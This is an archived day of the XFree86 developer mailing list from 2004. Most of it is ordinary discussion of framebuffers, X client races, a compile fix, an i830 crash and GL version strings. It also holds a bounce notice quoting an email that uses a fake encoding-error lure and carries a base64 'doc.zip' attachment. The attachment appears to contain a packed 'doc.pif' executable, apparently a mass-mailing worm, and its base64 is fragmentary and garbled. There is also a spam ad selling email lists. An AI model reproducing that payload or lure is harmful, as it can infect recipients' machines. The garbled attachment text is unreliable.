failure notice

2004-02-05 Thread Unknown
Hi. This is the qmail-send program at .
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

[EMAIL PROTECTED]:
This address no longer accepts mail.

--- Below this line is a copy of the message.

Return-Path: [EMAIL PROTECTED]
Received: (qmail 43023 invoked from network); 5 Feb 2004 08:13:04 -
Received: from w1001.widhost.net (209.235.192.251)
  by w215.widhost.net with SMTP; 5 Feb 2004 08:13:04 -
Received: from xfree86.org (dsl-213-023-041-077.arcor-ip.net [213.23.41.77])
by w1001.widhost.net (Postfix) with ESMTP id 7A8A6214B9
for [EMAIL PROTECTED]; Thu,  5 Feb 2004 03:13:02 -0500 (EST)
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: hello
Date: Thu, 5 Feb 2004 09:13:04 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary==_NextPart_000_0009_224635D2.FE94A423
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: [EMAIL PROTECTED]

This is a multi-part message in MIME format.

--=_NextPart_000_0009_224635D2.FE94A423
Content-Type: text/plain;
charset=Windows-1252
Content-Transfer-Encoding: 7bit

The message cannot be represented in 7-bit ASCII encoding and has been sent as a 
binary attachment.


--=_NextPart_000_0009_224635D2.FE94A423
Content-Type: application/octet-stream;
name=doc.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=doc.zip

UEsDBAoAAKJBRTDKJx+eAFgAAABYAAAHZG9jLnBpZk1akAADBP//AAC4
AEAAAKgA

AFBFAABMAQMA4AAP
AQsBBwAAUBBgAABgvgAAAHDAAEoAABACAAAEAAQA
ANAQAgAAEAAAEAAQAAAQEAAA6MEAADAB
wAAA6AEA
VVBY
MAAAYBAABAAAgAAA4FVQWDEAAFBwUAAA
AAQAAEAAAOAucnNyYwAQwAQAAABUAABA
AADA






ADEu
MjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXuhwKSAFAmSgBAA/2yaZosEAT0JegB
AEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1gn2lIAEQHODA0TdN0AygkHBgQ0yy7
1wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgpb1ym6ZrBB1RMA0Q4mqZpmiwkHBQM
BGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmMgHhwKHto3mzTdQdcA1RMKP/7C3a2
++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm2NTMyMCapmm6uCewrKigmGmapmmU
jIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnObAPgmzwPo4Nhnm85tVDRDA0A0NNuK
/51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX//dawCmVBHbrY95c3WHocv+P
IrhR7Ywu03sm1A058Kpn/yfqsHlFFOa7k25MLRH44s+/sqihnZyeo6u2xNXpABo3/1d6
oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/4cKkBmlpaj+8sPSqPgSLEprj7bgDT1w
pt8bWnzhJ1XJ/xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0Alk/LagyxQ3qy/3MXzohHBciK
VyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/7PH3voVNVh+p8MCNHmh3Bpbj+Ywbc0gds8rivxR
uSSS/wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06Evfk4/3q/B1Kg8UVsllOzGnzl
UcAypx+aGJkdpC67S950DalI/+qPN+KQQfWsZiPjpmw1AdCid08qCOnNtJ6Le25kXVlY
/1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9/5p3pwJw4VXMBsNDxlzVYWFkanN/
jKC1zegGJ0tynMn5/yxim1cWWH2wYCb+I3rUMZHkWsMvzhCF/XT2d/uADJkp/7xS64cm
yG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/05COzc4OD1FUF5vg5q00fEUOmPPvvDlbLbk
I1v3vGGo/9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtvftbP2W6V/9/+/ykDI+mUCb/m86VB
EKZ8MmlrgCELLcdO0hCCbPn/c6d33hSHBwf7UqoBYcAsm/cmlt2XnSJgD0aezf0sQH//
k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/IOOtYNrRUhXOZl+3QcAU5GWTn3j+
cg2852qVe3sTdnb/fRwNLfL29LDx0ed5+t1MZaP/J2yM3QvbjBupvXWHO0//2xSCQhQJ
RcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3VNTsc5gBTQad8qKvwmLz5V433wVx
Uv8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3HBv+F///4HZAEq5YABgYQK++Z1E7/
F3gLk8b4dSGMpP9f/8xya+tv/qX97NBByXiR2cSsJsfo4Km3Gl1v7CkQo/+88+31b1Eh
NY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/+goDLizkk6JC8wCo+uhOF1QKFimLL1MErg4/+R
gcEnB/93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeKSMK1vP+e+x9W5m6Q4DtHs6Aa
t9KqvMT3k0imAcAE/wYSi12p2P+9lDH4H+haYz7f1grKQtUMXmBJcvX0rvRTF/wWFfKOmv//
//9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav/mChg/OpWfgYLjc6RHPQkC1i6I

Re: does XFree86 need kernel framebuffer support?

2004-02-05 Thread Andrew C Aitchison
On Thu, 5 Feb 2004, [iso-8859-1] Suresh Chandra Mannava wrote:

 Does XFree86 need kernel framebuffer support? Or it's
 have its own framebuffer interface?
 
 what will be the performance gain if we use kernel
 framebuffer support?
 
 If we use a particular server for example Mach64
 server, it has its own (user mode) graphic driver
 which supports  graphic card. Does it still requires
 any type of support from the  kernel?

XFree86 does not in general need kernel framebuffer support for
hardware which is supported by an XFree86 driver, as it has its own 
framebuffer interface.

There are two cases where XFree86 does need kernel support.
* Chipsets like the i810/i815/i835/... family have no framebuffer memory
but use main system memory for the framebuffer. This requires agpgart 
support from the kernel.
* Most hardware 3D acceleration, whether DRI-based or manufacturer 
supplied, uses kernel support for access to the chip.
I think this is more to control access to the graphics
engine than to the frame buffer directly.

The XFree86 mach64 driver does not use kernel support, but there are 
alternative drivers such as GATOS, which provide features which ours does 
not have - TV out and hardware 3D. I'm hazy on the details, but some of 
these use kernel modules, including agpgart, or for pcicards a pcigart
module.

There is an XFree86 driver (fbdev IIRC) which uses kernel framebuffer 
support, and some XFree86 drivers can work with a kernel framebuffer
when reqiested.
The kernel has extra support for some hardware, but in general it
doesn't use the graphics engine much, so is fairly slow.
I don't have direct experience, but I'd expect that the XFree86 drivers
are faster than kernel framebuffer support in most cases.

-- 
Andrew C. Aitchison Cambridge
[EMAIL PROTECTED]

___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


W.D.C. Sales - presents your list of business prospects

2004-02-05 Thread W.D.C. Sales
Build your own unique super-targeted extremely responsive email list from a massive 
international database.

Get the perfect list for as little as $99

Call us today to find out more: 1-866-662-3388
Or reply to this email with the subject send more info.


World Data Corporation
Sun Towers Building, 1st Floor, Office #39
Betania, Panama City, Zona 6, Rep.Of Panama
Legal Department Telephone: +54-11-4032-1008




To unsubscribe simply reply to this email with the subject unsubscribe
or call: 1-866-457-8755

___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: VisibilityNotify/XRaiseWindow question

2004-02-05 Thread Rick Beldin
What is probably needed is a property on the root window that
both apps pay attention to, sort of like a mutex.   The first one
to get there sets it and the other honors this request.
In the case of xlock, you have a problem since the purpose is to
lock the screen.  I would think that you would have to have special
code in xbattbar to yield to xlock, since it is probably more
important to lock your screen than display your battery life.
On the hand, you might want to make that configurable.
Rick


Hi!

This is a general question on X client design. Please excuse me that
it is not directly related to the XFree86 Project.
Imagine there are two clients running the same code:

while (!done)
{
XWindowEvent(... | VisibilityChangeMask, theEvent);
switch (theEvent.type)
{
...
case VisibilityNotify:
XRaiseWindow(...);
break;
}
}
Obviously, there's a race here. Both clients are fighting to get on top.

There's a real example of this problem. One application is called
xbattbar (which is a battery status indicator), another is xlock
(used as screensaver).
What would be the right way to solve this problem?

Thanks for any answers in advance!

--
+--+
| Rick Beldin|  Hewlett-Packard Company|
||  Global Solutions Engineering   |
||  20 Perimeter Summit|
||  Atlanta, GA 30319  |
+--+
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: does XFree86 need kernel framebuffer support?

2004-02-05 Thread Tim Roberts
Andrew C Aitchison wrote:

XFree86 does not in general need kernel framebuffer support for
hardware which is supported by an XFree86 driver, as it has its own 
framebuffer interface.

There are two cases where XFree86 does need kernel support.
* Chipsets like the i810/i815/i835/... family have no framebuffer memory
but use main system memory for the framebuffer. This requires agpgart 
support from the kernel.
 

This doesn't actually REQUIRE agpgart support from the kernel unless 
you're doing bus mastering.  The ProSavages are UMA chips, with their 
frame buffers in main memory, and as long as the BIOS has done the 
proper division of memory at boot time, that's all it needs.

--
- Tim Roberts, [EMAIL PROTECTED]
 Providenza  Boekelheide, Inc.
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


g_render.c needs a paren

2004-02-05 Thread Terry R. Friedrichsen
Building on FreeBSD/Alpha version 5.2 with gcc 3.3.3:

In building the world from a Wednesday morning CVS update, g_render.c
in xc/programs/Xserver/GL/glx failed to compile.  The root problem
was a missing right paren, fixed by the patch included below.

Terry R. Friedrichsen

[EMAIL PROTECTED]

cut here-
*** g_render.c.dist Wed Jan 28 11:11:50 2004
--- g_render.c  Wed Feb  4 09:50:41 2004
***
*** 83,89 
   */
  # define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8)  ((unsigned long)(pc)  7)) { \
!   __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) ); \
pc -= 4; \
} } while( 0 )
  #else
--- 83,89 
   */
  # define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8)  ((unsigned long)(pc)  7)) { \
!   __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) )); \
pc -= 4; \
} } while( 0 )
  #else

___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: g_render.c needs a paren

2004-02-05 Thread Alan Hourihane
On Thu, Feb 05, 2004 at 11:21:32AM -0700, Terry R. Friedrichsen wrote:
 Building on FreeBSD/Alpha version 5.2 with gcc 3.3.3:
 
 In building the world from a Wednesday morning CVS update, g_render.c
 in xc/programs/Xserver/GL/glx failed to compile.  The root problem
 was a missing right paren, fixed by the patch included below.
 
This was fixed a few days ago.

But, thanks anyway Terry,

Alan.

 cut here-
 *** g_render.c.dist   Wed Jan 28 11:11:50 2004
 --- g_render.cWed Feb  4 09:50:41 2004
 ***
 *** 83,89 
*/
   # define GLX_DO_ALIGN_MAGIC(count, type) \
   do { if ( (sizeof(type) == 8)  ((unsigned long)(pc)  7)) { \
 ! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) ); \
   pc -= 4; \
   } } while( 0 )
   #else
 --- 83,89 
*/
   # define GLX_DO_ALIGN_MAGIC(count, type) \
   do { if ( (sizeof(type) == 8)  ((unsigned long)(pc)  7)) { \
 ! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) )); \
   pc -= 4; \
   } } while( 0 )
   #else
 
 ___
 Devel mailing list
 [EMAIL PROTECTED]
 http://XFree86.Org/mailman/listinfo/devel
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


i830 crash

2004-02-05 Thread David Gmez
Hi all ;),

I got an X crash with X 4.3.0, here is the error log.

By the way, are there many bugfixes in the i830 driver for the upcoming
4.4.0 release? Maybe i'm asking for a problem already fixed in CVS...


Gtk-CRITICAL **: file gtkmain.c: line 582 (gtk_main_quit): assertion `main_loops != 
NULL' failed.


.Error in I830WaitLpRing(), now is 6464996, start is 6462995
pgetbl_ctl: 0xff60001 pgetbl_err: 0x0
ipeir: 0 iphdr: 0
LP ring tail: 8 head: 0 len: 0 start 0
eir: 0 esr: 0 emr: 
instdone: ffc0 instpm: 0
memmode: 108 instps: 0
hwstam:  ier: 0 imr:  iir: 0
space: 131056 wanted 131064
.[drm:i830_wait_ring] *ERROR* space: 131048 wanted 131064
[drm:i830_wait_ring] *ERROR* lockup
.
Fatal server error:
lockup


Thanks,

-- 
David Gómez

The question of whether computers can think is just like the question of
 whether submarines can swim. -- Edsger W. Dijkstra
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: i830 crash

2004-02-05 Thread Alan Hourihane
On Thu, Feb 05, 2004 at 08:57:47PM +0100, David Gómez wrote:
 Hi all ;),
 
 I got an X crash with X 4.3.0, here is the error log.
 
 By the way, are there many bugfixes in the i830 driver for the upcoming
 4.4.0 release? Maybe i'm asking for a problem already fixed in CVS...

You should try it as there have been some reports that this has been
fixed for them.

Alan.
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: does XFree86 need kernel framebuffer support?

2004-02-05 Thread Ryan Underwood

On Thu, Feb 05, 2004 at 06:34:42AM +, Suresh Chandra Mannava wrote:
 
 Does XFree86 need kernel framebuffer support? Or it's
 have its own framebuffer interface?

It can use the kernel's framebuffer if available, else a VBE 2.0 linear
frame buffer can be utilized with no necessary kernel support. (see
vesa driver in XFree86 similar to vesafb in kernel)

 what will be the performance gain if we use kernel
 framebuffer support?
 
 If we use a particular server for example Mach64
 server, it has its own (user mode) graphic driver
 which supports  graphic card. Does it still requires
 any type of support from the  kernel?

No.  That is also an accelerated driver which uses the hardware features
of the card to speed typical GUI drawing operations.  The VESA
framebuffer and/or the kernel framebuffer will usually not have any form
of acceleration for graphics primitives.

-- 
Ryan Underwood, [EMAIL PROTECTED]


signature.asc
Description: Digital signature


Re: Manufacturers who fully disclosed specifications for agp cards?

2004-02-05 Thread Sergey Babkin
Mike A. Harris wrote:
 
 On Tue, 3 Feb 2004, Knut J Bjuland wrote:
 
 Date: Tue, 03 Feb 2004 15:52:53 +0100
 From: Knut J Bjuland [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 Content-Type: text/plain; charset=us-ascii; format=flowed
 Subject: Re: Manufacturers who fully disclosed specifications for agp
 cards?
 
 It is possible to gain the specs for a chip by discetion for i.e R300
 chip or NV 30 chips with the right tools like a electon microscope?
 
 Not unless you're using the electron microscope somehow to break
 into ATI or Nvidia headquarters, perhaps swinging it from a crane
 to break a window or something.

Well, a more realistic way would be to disassemble their Windows
drivers. Or if they have a binary-only Linux driver, that
one would be simpler than the Windows one. Of course that may be
violating DMCA and they may send a mob of lawyers after you.
On the other hand, the copyright laws in Europe are different,
so maybe it's OK to do there. I know for sure that the Russian
copyright law expressly allows disassembling the codes for the
purpose of learning the programmatic interfaces. I've heard
different opinions about what DMCA thinks about it in US.

-SB
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


Re: does XFree86 need kernel framebuffer support?

2004-02-05 Thread Sergey Babkin
Tim Roberts wrote:
 
 Andrew C Aitchison wrote:
 
 XFree86 does not in general need kernel framebuffer support for
 hardware which is supported by an XFree86 driver, as it has its own
 framebuffer interface.
 
 There are two cases where XFree86 does need kernel support.
 * Chipsets like the i810/i815/i835/... family have no framebuffer memory
 but use main system memory for the framebuffer. This requires agpgart
 support from the kernel.
 
 This doesn't actually REQUIRE agpgart support from the kernel unless
 you're doing bus mastering.  The ProSavages are UMA chips, with their
 frame buffers in main memory, and as long as the BIOS has done the
 proper division of memory at boot time, that's all it needs.

Many of the cards in the i810 family have only a very limited
amount of video memory on the card. So if you want to get anything over
800x600 on them, you need agpgart. On some of them the i810
driver won't start even in 800x600 mode, so VESA is the only option.

-SB
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel


bug in xmodmap?

2004-02-05 Thread Joe Corneli
My xmodmap (Apple 1.0) has the strange feature that Shift+Meta_R
behaves the same as Shift+Insert. Here's my xmodmap, that's the best
thing I can think of to send as documentation, but please let me
know if you have any questions (or suggestions). 

! .kinesis.bigpuppy  an Xmodmap file geared towards math.
! Sat Sep 13 21:16:58 2003

! I haven't taken the time to fix the function keys.

keycode 8  = a A underscore

!**
! Left
!**

keycode 9  = o O Left

!**
! Down
!**

keycode 10 = e E Down

!**
! Right
!**

keycode 11 = u U Right

keycode 12 = d D minus

!**
! End
!**

keycode 13 = i I asciicircum
keycode 14 = semicolon colon bracketleft
keycode 15 = q Q bracketright
keycode 16 = j J braceleft
keycode 17 = k K braceright
keycode 19 = x X dollar
keycode 20 = apostrophe quotedbl grave
keycode 21 = comma less BackSpace

!**
! Up
!**

keycode 22 = period greater Up 
keycode 23 = p P Delete
keycode 24 = f F plus
keycode 25 = y Y equal
keycode 26 = 1 exclam
keycode 27 = 2 at
keycode 28 = 3 numbersign
keycode 29 = 4 dollar
keycode 30 = 6 asciicircum
keycode 31 = 5 percent Sys_Req
! equal plus
keycode 32 = sterling yen yen
keycode 33 = 9 parenleft
keycode 34 = 7 ampersand
! minus underscore
keycode 35 = slash question asciitilde
keycode 36 = 8 asterisk
keycode 37 = 0 parenright
 ! bracketleft braceleft
keycode 38 = Hyper_R
keycode 39 = r R Delete
keycode 40 = g G BackSpace
keycode 41 = Super_R
keycode 42 = c C Up
keycode 43 = l L asciicircum

!**
! Second space key
!**

! Insert is used to _insert_ a pair of matching paretheses

keycode 44 = Mode_switch Insert Insert

keycode 45 = n N Right
keycode 46 = h H Left
keycode 47 = backslash bar

keycode 48 = t T  Down
keycode 49 = s S underscore
! .ibook sets this to Meta_R, on the kinesis dev keyboard its slash
keycode 50 = eacute
keycode 51 = w W braceright
keycode 52 = z Z parenright
keycode 53 = b B currency
keycode 54 = m M braceleft
keycode 55 = v V parenleft
! Tab -- rebound to 
keycode 56 = egrave

!**
! First (real) space key
!**

! it is better to have space space, because one often types (shift space)
keycode 57 = space space currency

! grave asciitilde
keycode 58 = Hyper_L

!**
! First (real) backspace key
!**

keycode 59 = BackSpace BackSpace section

! KP-Enter
keycode 60 = Return
! Escape
keycode 61 =  Escape

!
! the upper two tiers of the toprow thumb keys need creative work.
! BUT: note that I am now of the opinion that using the upper and inner
! thumb keys is somewhat ANERGONOMIC.  I am now working to
! minimize their use.
!

!
! thumb key labeled F
!   Note: this key is allegedly used to get a button three event...

keycode 63 = Tab


! Shift keysyms
!!!

keycode 64 = Shift_L NoSymbol NoSymbol NoSymbol

!!!
! Caps Lock (impossible to turn it into a modifier) --!
! even when using a separate keyboard! How silly!   !
! Note, however, that with the Kinesis remapping feature there is   !
! an easy work-around, namely to (re)move the capslock key.   !
! now I have a new key in its place that is set to do Mode_switch.  !
! The following is therefore just a remenant of times gone by.  !
!!!

keycode 65 = Select Insert

!
! thumb key labeled K

Re: [Dri-devel] GL_VERSION 1.5 when indirect rendering?

2004-02-05 Thread Brian Paul
Andreas Stenglein wrote:
Am 2004.02.04 21:00:14 +0100 schrieb(en) Brian Paul:

Ian Romanick wrote:
[snip]

Making that change and changing the server-side to not advertise a core 
version that it can't take protocol for would fix the bug for 4.4.0.  Do 
you think anything should be done to preserve text after the version? 
That is, if a server sends us 1.4.20040108 Foobar, Inc. Fancypants GL, 
should we return 1.2 or something more elaborate?
It would be nice to preserve the extra text, but it's not essential.


why not just add the 1.2  before the original text?
1.2 1.4.20040108 Foobar, Inc. Fancypants GL
so you would see that the renderer could support 1.4 if GLX could do it.
Yeah, I guess that could be done.

-Brian

___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel